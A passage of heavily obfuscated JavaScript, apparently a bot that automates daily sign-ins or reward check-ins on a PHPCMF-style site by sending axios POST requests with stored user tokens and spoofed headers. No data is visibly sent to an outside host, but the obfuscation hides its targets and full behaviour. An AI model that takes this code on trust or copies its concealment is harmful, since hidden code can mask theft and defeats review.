_0x5f4915;case'8':while(_0x325ca3[_0x59027f('0x33a')](_0x3e4e93,_0x227692)){_0x405506=_0x325ca3[_0x59027f('0x1d0')](_0x3e4e93-_0x325ca3[_0x59027f('0x8b')](_0x3e4e93,-0x2f9*-0xa+0x3*0x8f2+0x134*-0x2f),0x1292+0x59*0x26+-0xd6*0x26),_0x2aee44=_0x325ca3[_0x59027f('0x26e')](_0x325ca3[_0x59027f('0x8b')](_0x3e4e93,0xa99*-0x3+-0x382+0x2351),0x4*-0x40+-0x22ea+0x23f2),_0x5f4915[_0x405506]=_0x325ca3[_0x59027f('0x60')](_0x5f4915[_0x405506],_0x325ca3[_0x59027f('0x1dd')](_0xddaad[_0x59027f('0x22a')](_0x3e4e93),_0x2aee44)),_0x3e4e93++;}continue;case'9':var _0x3e4e93=0xa06+-0x1*0x202c+-0x7e*-0x2d;continue;case'10':_0x5f4915[_0x325ca3[_0x59027f('0xc2')](_0x12d461,-0x3*-0x6aa+-0x3fb*0x9+0xfd7)]=_0x325ca3['CSBxI'](_0x227692,0x5cc+0x1*-0x703+0x13a);continue;case'11':var _0x5f4915=_0x325ca3[_0x59027f('0x2a2')](_0xc2ecaa,_0x325ca3['zEagi'](_0x12d461,0x1467*-0x1+-0x1588+-0x1e8*-0x16));continue;case'12':var _0x2aee44=-0x1334+0x1373+-0x3f;continue;case'13':_0x2aee44=_0x325ca3[_0x59027f('0x26e')](_0x325ca3[_0x59027f('0x8b')](_0x3e4e93,0x536+0x669+-0x1*0xb9b),0xd7a+0x8*-0x38b+0x1*0xee6);continue;case'14':_0x405506=_0x325ca3[_0x59027f('0xe4')](_0x325ca3['dvNvO'](_0x3e4e93,_0x3e4e93%(-0x83f+-0x1e*-0x51+-0x2d*0x7)),0x1*-0xf2b+-0x2365*0x1+0x1f2*0x1a);continue;}break;}}}else _0x3867d5[_0xe4ac80('0xa8')](log,_0xe4ac80('0x332'));}}catch(_0x3a0b8a){if(_0x3867d5['zZUVM'](_0x3867d5[_0xe4ac80('0x131')],_0x3867d5[_0xe4ac80('0x131')])){function _0x258bfb(){var _0x462379=_0xe4ac80;const {message:_0x47eb06,response:_0x1a6fde}=_0xf7b286;_0x325ca3[_0x462379('0xeb')](_0xef52aa,_0x47eb06,_0x1a6fde,_0x1a6fde&&_0x1a6fde['body']);}}else _0x3867d5['yquZV'](log,_0xe4ac80('0x192')+_0x3a0b8a);}else{function _0x9e73a7(){var _0x25b498=_0xe4ac80;const _0x568242={};this[_0x25b498('0x2b0')](_0x568242,_0x53486e,_0x22f6bd),_0x4bd4b9=this[_0x25b498('0x233')](_0x1ed26e[_0x25b498('0x360')](_0x568242),_0x227031);}}})[_0x342f80('0x75')](function(_0x80f099){var _0x2e59dd=_0x342f80;if(_0x5c85a2['FJSSf'](_0x5c85a2[_0x2e59dd('0x74')],_0x5c85a2[_0x2e59dd('0x9e')])){function _0x12f088(){return _0x459e20;}}else console[_0x2e59dd('0x341')](_0x2e59dd('0x124')+_0x80f099);})[_0x342f80('0xf8')](()=>{var _0x30c1bd=_0x342f80;_0x3867d5[_0x30c1bd('0xcf')](_0x3e5b99);});});}async function checkin3(){var _0x2292b8=_0x127107,_0x31d479={};_0x31d479[_0x2292b8('0x33f')]=function(_0x16dfb5,_0x2fc036){return _0x16dfb5+_0x2fc036;},_0x31d479[_0x2292b8('0xd')]=_0x2292b8('0x92'),_0x31d479[_0x2292b8('0xb4')]=function(_0x5c60bf,_0x699335){return _0x5c60bf(_0x699335);},_0x31d479[_0x2292b8('0x315')]=function(_0x5e0f59,_0x4b0052){return _0x5e0f59===_0x4b0052;},_0x31d479[_0x2292b8('0x2ee')]=_0x2292b8('0x1cf'),_0x31d479[_0x2292b8('0x96')]=function(_0x1a02c8,_0x56cffd){return _0x1a02c8(_0x56cffd);},_0x31d479[_0x2292b8('0x82')]=_0x2292b8('0xc7'),_0x31d479[_0x2292b8('0x69')]=function(_0x5741df,_0x413daf){return _0x5741df(_0x413daf);},_0x31d479[_0x2292b8('0x197')]=function(_0x477cd3){return _0x477cd3();},_0x31d479[_0x2292b8('0xb3')]=_0x2292b8('0x21b'),_0x31d479[_0x2292b8('0xf2')]=_0x2292b8('0x42'),_0x31d479[_0x2292b8('0x329')]=_0x2292b8('0x102'),_0x31d479[_0x2292b8('0x27e')]=_0x2292b8('0x353'),_0x31d479[_0x2292b8('0xcb')]=_0x2292b8('0x58'),_0x31d479[_0x2292b8('0x33b')]=_0x2292b8('0x59'),_0x31d479[_0x2292b8('0x215')]=_0x2292b8('0x72'),_0x31d479[_0x2292b8('0x2c0')]=_0x2292b8('0x2d5'),_0x31d479[_0x2292b8('0x150')]=_0x2292b8('0x29'),_0x31d479[_0x2292b8('0x25c')]=_0x2292b8('0x48'),_0x31d479[_0x2292b8('0x31c')]=function(_0xf5761b,_0x1b3ecf){return _0xf5761b(_0x1b3ecf);};var _0xd1d619=_0x31d479;return new Promise(_0x34249d=>{var _0x29bbb4=_0x2292b8,_0x4de223={};_0x4de223[_0x29bbb4('0x186')]=_0x29bbb4('0x2cf'),_0x4de223[_0x29bbb4('0x17')]=_0xd1d619[_0x29bbb4('0xb3')],_0x4de223[_0x29bbb4('0x107')]={},_0x4de223[_0x29bbb4('0xa2')]={},_0x4de223[_0x29bbb4('0x2db')]='id='+iddd+_0x29bbb4('0x4b'),_0x4de223[_0x29bbb4('0xa2')]['Host']=_0xd1d619['QKWyx'],_0x4de223[_0x29bbb4('0xa2')]['Content-Type']=_0xd1d619[_0x29bbb4('0x33b')],_0x4de223[_0x29bbb4('0xa2')]['Accept']=_0xd1d619[_0x29bbb4('0x215')],_0x4de223[_0x29bbb4('0xa2')]['Accept-Encoding']=_0xd1d619['fqfBT'],_0x4de223[_0x29bbb4('0xa2')]['User-Agent']=_0xd1d619[_0x29bbb4('0x150')],_0x4de223[_0x29bbb4('0xa2')]['Connection']=_0xd1d619[_0x29bbb4('0x25c')],_0x4de223[_0x29bbb4('0x107')]['v']='1',_0x4de223[_0x29bbb4('0x107')][_0x29bbb4('0x267')]='4',_0x4de223[_0x29bbb4('0x107')][_0x29bbb4('0x1f2')]=_0xd1d619[_0x29bbb4('0xf2')],_0x4de223[_0x29bbb4('0x107')][_0x29bbb4('0x2d')]=''+ddjzhd[-0xf*-0x132+-0x2b*0x1c+-0xd3a],_0x4de223[_0x29bbb4('0x107')][_0x29bbb4('0x112')]=''+ddjzhd[0x1a23*-0x1+0x1d*0xd5+0x203],_0x4de223[_0x29bbb4('0x107')]['s']='Yhxcx',_0x4de223[_0x29bbb4('0x107')]['c']=_0xd1d619['JOihA'],_0x4de223[_0x29bbb4('0x107')]['m']=_0xd1d619[_0x29bbb4('0x27e')];var _0x44abf7=_0x4de223;debug&&(_0xd1d619[_0x29bbb4('0x31c')](log,_0x29bbb4('0x100')),_0xd1d619[_0x29bbb4('0x31c')](log,JSON[_0x29bbb4('0x360')](_0x44abf7))),axios[_0x29bbb4('0x17e')](_0x44abf7)[_0x29bbb4('0xf8')](async function(_0x4ea7e4){var _0x543504=_0x29bbb4,_0xac43a3={};_0xac43a3[_0x543504('0xa1')]=function(_0x511ae0,_0x4cf56c){return _0x511ae0(_0x4cf56c);},_0xac43a3['naHmt']=function(_0x24345e,_0x18a944){return _0xd1d619['pOehi'](_0x24345e,_0x18a944);},_0xac43a3[_0x543504('0x21a')]=_0xd1d619[_0x543504('0xd')],_0xac43a3['bcdCE']=function(_0x5e686e,_0x379206){var _0x4e94b6=_0x543504;return _0xd1d619[_0x4e94b6('0xb4')](_0x5e686e,_0x379206);},_0xac43a3[_0x543504('0x1e3')]=function(_0x21dd7e,_0x5bf97c){return _0x21dd7e(_0x5bf97c);};var _0x32796c=_0xac43a3;try{data=_0x4ea7e4[_0x543504('0x2db')];if(debug){if(_0xd1d619[_0x543504('0x315')](_0xd1d619['ZAMnt'],'jsUmv')){function _0x182927(){var _0xa3db6c=_0x543504;try{_0x208655=_0x5d0ae1[_0xa3db6c('0x2db')],_0x24fd99&&(_0x79220a(_0xa3db6c('0x12a')),_0x32796c[_0xa3db6c('0xa1')](_0x350c3c,_0x415c27[_0xa3db6c('0x360')](_0x4e5628))),_0x1df7a7(_0x32796c['naHmt'](_0x32796c['HSpIz'],_0x3ecaf0[_0xa3db6c('0x2db')][_0xa3db6c('0x31b')][_0xa3db6c('0x367')]));}catch(_0x2d89d8){_0x32796c[_0xa3db6c('0x238')](_0x2d07d1,_0xa3db6c('0x192')+_0x2d89d8);}}}else _0xd1d619[_0x543504('0x96')](log,_0x543504('0x12a')),_0xd1d619['bGnmk'](log,JSON[_0x543504('0x360')](data));}log(data[_0x543504('0x1a6')]);}catch(_0x2f625e){if(_0xd1d619[_0x543504('0x315')](_0xd1d619['zjhMd'],_0x543504('0xc7')))_0xd1d619[_0x543504('0x69')](log,'异常:'+_0x2f625e);else{function _0x219184(){var _0x1e7182=_0x543504;_0x32796c[_0x1e7182('0x238')](_0x3cfbcf,'\x0a【debug】===============这是返回data=============='),_0x32796c['qyEpD'](_0x2ba0f0,_0x307810[_0x1e7182('0x360')](_0x54ad01));}}}})[_0x29bbb4('0x75')](function(_0x54f6ea){var _0x3a03f1=_0x29bbb4;console['error'](_0x3a03f1('0x124')+_0x54f6ea);})[_0x29bbb4('0xf8')](()=>{var _0x1443ce=_0x29bbb4;_0xd1d619[_0x1443ce('0x197')](_0x34249d);});});}async function checkin4(){var _0x4fe3e9=_0x127107,_0x1173c1={};_0x1173c1[_0x4fe3e9('0x2d3')]=function(_0xac4a26,_0x34c8b7){return _0xac4a26!==_0x34c8b7;},_0x1173c1[_0x4fe3e9('0x344')]=_0x4fe3e9('0x4'),_0x1173c1[_0x4fe3e9('0x2e0')]=function(_0x26996b,_0x1563ec){return _0x26996b(_0x1563ec);},_0x1173c1[_0x4fe3e9('0xc6')]=function(_0x5b5a2e,_0xee676f){return _0x5b5a2e(_0xee676f);},_0x1173c1[_0x4fe3e9('0x362')]=function(_0x49fd09){return _0x49fd09();},_0x1173c1[_0x4fe3e9('0x309')]='cfqtB',_0x1173c1[_0x4fe3e9('0x17b')]=_0x4fe3e9('0x21b'),_0x1173c1[_0x4fe3e9('0x279')]='PHPCMF19F5DF41B263B',_0x1173c1[_0x4fe3e9('0x36')]='member',_0x1173c1[_0x4fe3e9('0x38')]='Yhxcx',_0x1173c1[_0x4fe3e9('0x324')]=_0x4fe3e9('0x2f1'),_0x1173c1[_0x4fe3e9('0x1be')]=_0x4fe3e9('0x59'),_0x1173c1[_0x4fe3e9('0x1fa')]=_0x4fe3e9('0x72'),_0x1173c1[_0x4fe3e9('0x1ee')]=_0x4fe3e9('0x29'),_0x1173c1[_0x4fe3e9('0x281')]=_0x4fe3e9('0x48'),_0x1173c1['IVcFB']=function(_0x3f9846,_0x191662){return _0x3f9846(_0x191662);};var _0x3d7d48=_0x1173c1;return new Promise(_0x41708e=>{var _0x25d521=_0x4fe3e9,_0x4f6a33={};_0x4f6a33['fLdRD']=function(_0x4788ff,_0x583452){var _0x39afd0=_0x22a4;return _0x3d7d48[_0x39afd0('0x2e0')](_0x4788ff,_0x583452);},_0x4f6a33[_0x25d521('0x227')]=function(_0x1b773c,_0x2478fe){var _0x2710d1=_0x25d521;return _0x3d7d48[_0x2710d1('0xc6')](_0x1b773c,_0x2478fe);},_0x4f6a33['DndHm']=function(_0x58943f,_0x52093e){return _0x58943f+_0x52093e;},_0x4f6a33['UcIhu']=function(_0x37e57e){var _0x72f2c8=_0x25d521;return _0x3d7d48[_0x72f2c8('0x362')](_0x37e57e);},_0x4f6a33[_0x25d521('0x326')]=function(_0x2404b2){var _0x38681f=_0x25d521;return _0x3d7d48[_0x38681f('0x362')](_0x2404b2);};var _0x5a30f7=_0x4f6a33;if(_0x3d7d48[_0x25d521('0x2d3')]('iFDXY',_0x3d7d48[_0x25d521('0x309')])){var _0x32ed01={};_0x32ed01[_0x25d521('0x186')]='POST',_0x32ed01[_0x25d521('0x17')]=_0x3d7d48[_0x25d521('0x17b')],_0x32ed01[_0x25d521('0x107')]={},_0x32ed01[_0x25d521('0xa2')]={},_0x32ed01[_0x25d521('0x2db')]=_0x25d521('0x25e')+iddd+_0x25d521('0x321'),_0x32ed01[_0x25d521('0xa2')][_0x25d521('0x232')]=_0x25d521('0x58'),_0x32ed01[_0x25d521('0xa2')][_0x25d521('0x1fd')]=_0x3d7d48[_0x25d521('0x1be')],_0x32ed01[_0x25d521('0xa2')][_0x25d521('0x2b')]=_0x3d7d48[_0x25d521('0x1fa')],_0x32ed01[_0x25d521('0xa2')]['Accept-Encoding']=_0x25d521('0x2d5'),_0x32ed01[_0x25d521('0xa2')]['User-Agent']=_0x3d7d48[_0x25d521('0x1ee')],_0x32ed01[_0x25d521('0xa2')][_0x25d521('0x80')]=_0x3d7d48[_0x25d521('0x281')],_0x32ed01[_0x25d521('0x107')]['v']='1',_0x32ed01[_0x25d521('0x107')][_0x25d521('0x267')]='4',_0x32ed01[_0x25d521('0x107')][_0x25d521('0x1f2')]=_0x3d7d48[_0x25d521('0x279')],_0x32ed01[_0x25d521('0x107')][_0x25d521('0x2d')]=''+ddjzhd[-0x3d*-0x64+-0x26*-0xfd+-0x246*0x1b],_0x32ed01[_0x25d521('0x107')][_0x25d521('0x112')]=''+ddjzhd[-0x163c+-0x129d*-0x1+0x3a0],_0x32ed01[_0x25d521('0x107')]['s']=_0x3d7d48[_0x25d521('0x36')],_0x32ed01[_0x25d521('0x107')][_0x25d521('0xfc')]=_0x3d7d48['QLIMi'],_0x32ed01[_0x25d521('0x107')]['c']='qd',_0x32ed01[_0x25d521('0x107')]['m']=_0x3d7d48[_0x25d521('0x324')];var _0x5af919=_0x32ed01;debug&&(_0x3d7d48[_0x25d521('0xc6')](log,_0x25d521('0x100')),_0x3d7d48['IVcFB'](log,JSON[_0x25d521('0x360')](_0x5af919))),axios[_0x25d521('0x17e')](_0x5af919)[_0x25d521('0xf8')](async function(_0x55f703){var _0xb19d96=_0x25d521;if(_0x3d7d48['svsti'](_0x3d7d48[_0xb19d96('0x344')],_0x3d7d48[_0xb19d96('0x344')])){function _0x567644(){var _0x5347be=_0xb19d96;try{_0x3c3570=_0x589026['data'],_0x433e23&&(_0x5a30f7[_0x5347be('0xe5')](_0x48b30d,_0x5347be('0x12a')),_0x5a30f7[_0x5347be('0x227')](_0x336d85,_0x563739['stringify'](_0x24c31b))),_0x5a30f7['EDmfz'](_0x8c7cf,_0x5a30f7[_0x5347be('0x172')](_0x5347be('0x25'),_0x3db6e6['data'][_0x5347be('0xf6')]));}catch(_0x3087f9){_0x5a30f7[_0x5347be('0x227')](_0x50a489,_0x5347be('0x192')+_0x3087f9);}}}else try{data=_0x55f703[_0xb19d96('0x2db')],debug&&(_0x3d7d48[_0xb19d96('0x2e0')](log,'\x0a【debug】===============这是返回data=============='),_0x3d7d48[_0xb19d96('0x2e0')](log,JSON[_0xb19d96('0x360')](data))),log(data[_0xb19d96('0x1a6')]);}catch(_0x186c07){_0x3d7d48[_0xb19d96('0x2e0')](log,_0xb19d96('0x192')+_0x186c07);}})[_0x25d521('0x75')](function(_0x5c30b3){var _0x16da08=_0x25d521;console[_0x16da08('0x341')](_0x16da08('0x124')+_0x5c30b3);})['then'](()=>{_0x5a30f7['UcIhu'](_0x41708e);});}else{function _0x10e3a4(){var _0x3aa74d=_0x25d521;_0x5a30f7[_0x3aa74d('0x326')](_0x361e50);}}});}async function checkin5(){var _0x4fed26=_0x127107,_0x17f472={};_0x17f472[_0x4fed26('0x256')]='CIjQa',_0x17f472['bipPu']=_0x4fed26('0x1ac'),_0x17f472['fouIQ']=function(_0x41dc6f,_0x4a3cd4){return _0x41dc6f===_0x4a3cd4;},_0x17f472[_0x4fed26('0xac')]=_0x4fed26('0xfd'),_0x17f472[_0x4fed26('0x36a')]=function(_0x415274,_0x5455e4){return _0x415274(_0x5455e4);},_0x17f472[_0x4fed26('0xef')]=function(_0x14ef67,_0x255703){return _0x14ef67+_0x255703;},_0x17f472[_0x4fed26('0x2c1')]=_0x4fed26('0x25'),_0x17f472[_0x4fed26('0x276')]=function(_0x521fcf,_0x405fe7){return _0x521fcf!==_0x405fe7;},_0x17f472[_0x4fed26('0xc8')]=_0x4fed26('0x1f0'),_0x17f472[_0x4fed26('0x266')]=function(_0x191a62,_0x2027f8){return _0x191a62(_0x2027f8);},_0x17f472[_0x4fed26('0x5a')]=function(_0x46be43){return _0x46be43();},_0x17f472[_0x4fed26('0x307')]=function(_0x382413,_0x466de5){return _0x382413+_0x466de5;},_0x17f472['nFLXk']=function(_0x198436,_0x4ee76b){return _0x198436/_0x4ee76b;},_0x17f472[_0x4fed26('0x1c8')]=function(_0x13f7d7,_0x480ac5){return _0x13f7d7+_0x480ac5;},_0x17f472[_0x4fed26('0x1e4')]=function(_0x3664c5,_0x3d7434){return _0x3664c5-_0x3d7434;},_0x17f472['YILYI']=function(_0x4ed395,_0x535744){return _0x4ed395+_0x535744;},_0x17f472['ZrMek']=function(_0x15fc4e,_0x2c7fc6){return _0x15fc4e(_0x2c7fc6);},_0x17f472['pEQgF']='yhxcx',_0x17f472[_0x4fed26('0x1b9')]=_0x4fed26('0x296'),_0x17f472[_0x4fed26('0xfa')]=_0x4fed26('0x58'),_0x17f472[_0x4fed26('0xa4')]=_0x4fed26('0x59'),_0x17f472[_0x4fed26('0x91')]=_0x4fed26('0x72'),_0x17f472[_0x4fed26('0x16c')]=_0x4fed26('0x2d5'),_0x17f472['evpUQ']=_0x4fed26('0x29'),_0x17f472[_0x4fed26('0x89')]=_0x4fed26('0x48'),_0x17f472[_0x4fed26('0x4f')]='skRXV',_0x17f472[_0x4fed26('0x61')]=_0x4fed26('0x2a4');var _0x58de90=_0x17f472;return new Promise(_0x344ed5=>{var _0x2e5011=_0x4fed26,_0x4d3730={};_0x4d3730[_0x2e5011('0x1dc')]=function(_0x6b0081,_0x22edf1){var _0x1377f4=_0x2e5011;return _0x58de90[_0x1377f4('0x307')](_0x6b0081,_0x22edf1);},_0x4d3730['zPcrX']=function(_0x22b053,_0x30c296){var _0x1a3b2c=_0x2e5011;return _0x58de90[_0x1a3b2c('0xe7')](_0x22b053,_0x30c296);},_0x4d3730['POcQT']=function(_0x56e6b9,_0x1fc125){return _0x58de90['CWmcS'](_0x56e6b9,_0x1fc125);},_0x4d3730[_0x2e5011('0x13b')]=function(_0x38d803,_0x149523){var _0x5d6858=_0x2e5011;return _0x58de90[_0x5d6858('0x1e4')](_0x38d803,_0x149523);},_0x4d3730[_0x2e5011('0x30b')]=function(_0x8804c4,_0x509936){var _0x7dffb1=_0x2e5011;return _0x58de90[_0x7dffb1('0x2b8')](_0x8804c4,_0x509936);},_0x4d3730[_0x2e5011('0x1cd')]=function(_0x2ec9af,_0x4ff9a9){return _0x2ec9af==_0x4ff9a9;},_0x4d3730['nlpIQ']=function(_0x329b73,_0x4dec97){var _0x4406e2=_0x2e5011;return _0x58de90[_0x4406e2('0x276')](_0x329b73,_0x4dec97);},_0x4d3730[_0x2e5011('0x1e5')]=function(_0x22c33b,_0x3eb527){var _0x113986=_0x2e5011;return _0x58de90[_0x113986('0x34c')](_0x22c33b,_0x3eb527);};var _0x17a9db=_0x4d3730,_0x536db9={};_0x536db9['v']='1',_0x536db9['appid']='4',_0x536db9[_0x2e5011('0x1f2')]=_0x2e5011('0x42'),_0x536db9[_0x2e5011('0x2d')]=''+ddjzhd[0x1c9c+-0x2*-0x1230+-0x2*0x207e],_0x536db9['api_auth_uid']=''+ddjzhd[0x1726+0xb*-0x2c3+-0x4*-0x1cf],_0x536db9['s']=_0x2e5011('0x5'),_0x536db9[_0x2e5011('0xfc')]=_0x58de90['pEQgF'],_0x536db9['c']='tg',_0x536db9['m']=_0x58de90[_0x2e5011('0x1b9')];var _0xe130c2={};_0xe130c2[_0x2e5011('0x232')]=_0x58de90[_0x2e5011('0xfa')],_0xe130c2[_0x2e5011('0x1fd')]=_0x58de90['LgXdo'],_0xe130c2[_0x2e5011('0x2b')]=_0x58de90['ugQVd'],_0xe130c2['Accept-Encoding']=_0x58de90['eXDYu'],_0xe130c2[_0x2e5011('0x29d')]=_0x58de90[_0x2e5011('0x248')],_0xe130c2[_0x2e5011('0x80')]=_0x58de90[_0x2e5011('0x89')];var _0x401fbf={};_0x401fbf['method']=_0x2e5011('0x2cf'),_0x401fbf[_0x2e5011('0x17')]=_0x2e5011('0x21b'),_0x401fbf[_0x2e5011('0x107')]=_0x536db9,_0x401fbf['headers']=_0xe130c2,_0x401fbf[_0x2e5011('0x2db')]=_0x2e5011('0x26c');var _0x5c6e21=_0x401fbf;if(debug){if(_0x58de90[_0x2e5011('0x276')](_0x58de90['aCeze'],_0x58de90[_0x2e5011('0x61')]))_0x58de90[_0x2e5011('0x34c')](log,'\x0a【debug】===============\x20这是请求url\x20==============='),_0x58de90['ZrMek'](log,JSON['stringify'](_0x5c6e21));else{function _0x2ea5c6(){var _0x5a8fa5=_0x2e5011;const _0x4b95c8=_0x4d07bc?new _0x527493(_0x33061e):new _0x4389e9();var _0xb12b74={};_0xb12b74['M+']=_0x17a9db[_0x5a8fa5('0x1dc')](_0x4b95c8[_0x5a8fa5('0x293')](),-0x191a+0x297+0x20c*0xb),_0xb12b74['d+']=_0x4b95c8[_0x5a8fa5('0x2ba')](),_0xb12b74['H+']=_0x4b95c8[_0x5a8fa5('0x1a0')](),_0xb12b74['m+']=_0x4b95c8[_0x5a8fa5('0x27a')](),_0xb12b74['s+']=_0x4b95c8[_0x5a8fa5('0x312')](),_0xb12b74['q+']=_0x34765a[_0x5a8fa5('0x158')](_0x17a9db[_0x5a8fa5('0xc')](_0x17a9db[_0x5a8fa5('0x1dc')](_0x4b95c8['getMonth'](),0x1c5d+-0x184d*-0x1+-0x34a7),-0x1*-0x21c3+-0xb6*0x3+0x72*-0x47)),_0xb12b74['S']=_0x4b95c8[_0x5a8fa5('0x46')]();let _0x348518=_0xb12b74;/(y+)/['test'](_0x161d59)&&(_0x1fa102=_0x4429eb['replace'](_0x56a85e['$1'],_0x17a9db[_0x5a8fa5('0x34d')](_0x4b95c8['getFullYear'](),'')[_0x5a8fa5('0x66')](_0x17a9db['lLjxA'](0x3*0x59e+0x61*-0x49+0xad3,_0x1262e1['$1'][_0x5a8fa5('0x180')]))));for(let _0xea68ad in _0x348518)new _0x3b1d2b(_0x17a9db[_0x5a8fa5('0x34d')](_0x17a9db['cMSTp']('(',_0xea68ad),')'))[_0x5a8fa5('0x2ac')](_0x30535f)&&(_0x34b363=_0x4ec160[_0x5a8fa5('0x359')](_0xa3611e['$1'],_0x17a9db[_0x5a8fa5('0x1cd')](0x996+-0x7a+-0x91b,_0x35138b['$1'][_0x5a8fa5('0x180')])?_0x348518[_0xea68ad]:_0x17a9db['cMSTp']('00',_0x348518[_0xea68ad])['substr'](_0x17a9db['cMSTp']('',_0x348518[_0xea68ad])[_0x5a8fa5('0x180')])));return _0x30ccdb;}}}axios[_0x2e5011('0x17e')](_0x5c6e21)['then'](async function(_0x249ba4){var _0x2ba12d=_0x2e5011,_0xed84a9={};_0xed84a9[_0x2ba12d('0x18a')]=_0x2ba12d('0x2bb');var _0x57e5d4=_0xed84a9;if(_0x58de90[_0x2ba12d('0x256')]!==_0x58de90[_0x2ba12d('0x10c')])try{if(_0x58de90['fouIQ'](_0x58de90[_0x2ba12d('0xac')],_0x58de90['mYTPx']))data=_0x249ba4[_0x2ba12d('0x2db')],debug&&(_0x58de90[_0x2ba12d('0x36a')](log,_0x2ba12d('0x12a')),_0x58de90[_0x2ba12d('0x36a')](log,JSON[_0x2ba12d('0x360')](data))),_0x58de90[_0x2ba12d('0x36a')](log,_0x58de90[_0x2ba12d('0xef')](_0x58de90[_0x2ba12d('0x2c1')],data['data'][_0x2ba12d('0xf6')]));else{function _0x2d77db(){_0x3a589f();}}}catch(_0x1f41fe){if(_0x58de90[_0x2ba12d('0x276')](_0x58de90[_0x2ba12d('0xc8')],_0x2ba12d('0x17a')))_0x58de90[_0x2ba12d('0x266')](log,_0x2ba12d('0x192')+_0x1f41fe);else{function _0x2c3d90(){var _0x59c24f=_0x2ba12d;return _0x17a9db[_0x59c24f('0x2a5')](_0x17a9db[_0x59c24f('0x1e5')](_0x354aa7,_0x4221db),_0x40f665)?_0x45daa0:(_0xc7927a[_0x59c24f('0x7d')](_0x586c6a)||(_0xb4f0d9=_0x4c64be[_0x59c24f('0x23f')]()[_0x59c24f('0x1f5')](/[^.[\]]+/g)||[]),_0x39e72a[_0x59c24f('0x95')](-0x188f*-0x1+0x1d*0x2b+-0xeb7*0x2,-(0xeb6+0x1c9*-0x9+0x1*0x15c))[_0x59c24f('0x15')]((_0x4c127b,_0x45b1d5,_0x31e6f7)=>_0x547ceb(_0x4c127b[_0x45b1d5])===_0x4c127b[_0x45b1d5]?_0x4c127b[_0x45b1d5]:_0x4c127b[_0x45b1d5]=_0x4bd262[_0x59c24f('0x1ab')](_0x275625[_0x31e6f7+(-0x20a6+-0x1*-0x2303+0x4*-0x97)])>>0x128f*0x1+0xda2+-0x2031==+_0x467951[_0x31e6f7+(-0x692*0x2+-0x1875+0x259a)]?[]:{},_0x146a5d)[_0x308e7b[_0x17a9db[_0x59c24f('0x13b')](_0x5e5796[_0x59c24f('0x180')],-0x543*-0x1+0x3*0x989+-0x1*0x21dd)]]=_0xbe1b49,_0x517666);}}}else{function _0x2dac61(){var _0x3bb73d=_0x2ba12d;let _0x37f72c=_0x335699[_0x3bb73d('0x152')]||_0x16993f[_0x3bb73d('0x17')]||_0x3ac853['openUrl'],_0x40f983=_0x270b3e[_0x57e5d4[_0x3bb73d('0x18a')]]||_0x1056fb['mediaUrl'];var _0x57035b={};return _0x57035b[_0x3bb73d('0x152')]=_0x37f72c,_0x57035b[_0x3bb73d('0x2bb')]=_0x40f983,_0x57035b;}}})[_0x2e5011('0x75')](function(_0x5e8190){var _0x5beedd=_0x2e5011;console[_0x5beedd('0x341')](_0x5beedd('0x124')+_0x5e8190);})[_0x2e5011('0xf8')](()=>{var _0x50a5de=_0x2e5011;_0x58de90[_0x50a5de('0x5a')](_0x344ed5);});});}async function checkin6(){var _0x557267=_0x127107,_0x416ac4={};_0x416ac4[_0x557267('0x202')]=function(_0x4f4b05,_0x127d1d){return _0x4f4b05(_0x127d1d);},_0x416ac4[_0x557267('0xd0')]='vPADv',_0x416ac4[_0x557267('0x1bf')]=function(_0x44d1e7,_0x2e6af1){return _0x44d1e7!==_0x2e6af1;},_0x416ac4['umUPv']='lmwxZ',_0x416ac4['FZJnv']=function(_0x3274b8,_0x4503b0){return _0x3274b8(_0x4503b0);},_0x416ac4['uElMg']=function(_0x294edb,_0x309cf9){return _0x294edb(_0x309cf9);},_0x416ac4[_0x557267('0x4c')]=function(_0x4eadbb,_0x418e73){return _0x4eadbb+_0x418e73;},_0x416ac4[_0x557267('0x164')]=_0x557267('0x92'),_0x416ac4['ugmGZ']=_0x557267('0xdb'),_0x416ac4[_0x557267('0xf1')]=function(_0x262452){return _0x262452();},_0x416ac4[_0x557267('0x15c')]=function(_0x4a8cf7,_0x31c7a2){return _0x4a8cf7(_0x31c7a2);},_0x416ac4['JSJKp']=function(_0x2a776b,_0x288d8b){return _0x2a776b(_0x288d8b);},_0x416ac4['lOxvV']=function(_0x3dc5e3,_0x471679){return _0x3dc5e3===_0x471679;},_0x416ac4[_0x557267('0x1f6')]='KaHRs',_0x416ac4[_0x557267('0x10e')]='POST',_0x416ac4[_0x557267('0x177')]=_0x557267('0x21b'),_0x416ac4[_0x557267('0x11d')]='PHPCMF19F5DF41B263B',_0x416ac4[_0x557267('0x2b7')]='member',_0x416ac4[_0x557267('0x237')]=_0x557267('0x12c'),_0x416ac4[_0x557267('0x16d')]=_0x557267('0x21d'),_0x416ac4[_0x557267('0x364')]=_0x557267('0x58'),_0x416ac4[_0x557267('0x2b4')]=_0x557267('0x59'),_0x416ac4[_0x557267('0x208')]=_0x557267('0x72'),_0x416ac4['ZOzZx']=_0x557267('0x48'),_0x416ac4[_0x557267('0x17c')]=function(_0x1ffac4,_0x2caea7){return _0x1ffac4===_0x2caea7;},_0x416ac4['XTydv']='zzsKt';var _0x394fb8=_0x416ac4;return new Promise(_0x42bd90=>{var _0x22e47d=_0x557267,_0x1fd161={};_0x1fd161['ioscQ']=function(_0x1217d4,_0x49d18c){return _0x394fb8['YsgUg'](_0x1217d4,_0x49d18c);},_0x1fd161[_0x22e47d('0x1d3')]=function(_0x251a11,_0x689430){var _0x36c0b8=_0x22e47d;return _0x394fb8[_0x36c0b8('0x357')](_0x251a11,_0x689430);};var _0x201ad1=_0x1fd161;if(_0x394fb8[_0x22e47d('0x21c')](_0x394fb8[_0x22e47d('0x1f6')],_0x394fb8[_0x22e47d('0x1f6')])){var 